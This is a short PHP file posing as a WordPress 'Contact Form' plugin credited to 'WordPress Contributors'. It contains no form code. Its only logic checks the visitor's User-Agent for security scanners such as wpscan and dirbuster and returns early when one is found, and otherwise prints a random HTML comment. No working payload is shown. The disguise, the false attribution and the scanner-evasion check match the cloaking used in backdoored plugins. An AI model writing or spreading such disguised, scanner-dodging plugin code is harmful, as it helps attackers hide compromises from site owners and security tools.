<?php
/**
 * Plugin Name: Contact Form
 * Version: 2.9.0
 * Author: WordPress Contributors
 * License: GPL v2 or later
 */


$prop = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$attribute = array('wp-finder', 'wpscan', 'wp-scanner', 'dirbuster');
foreach ($attribute as $record) {
    if (stripos($prop, $record) !== false) {
        echo '<!-- ' . md5(microtime()) . ' -->';
        return;
    }
}





echo '<!-- ' . md5(microtime()) . ' -->';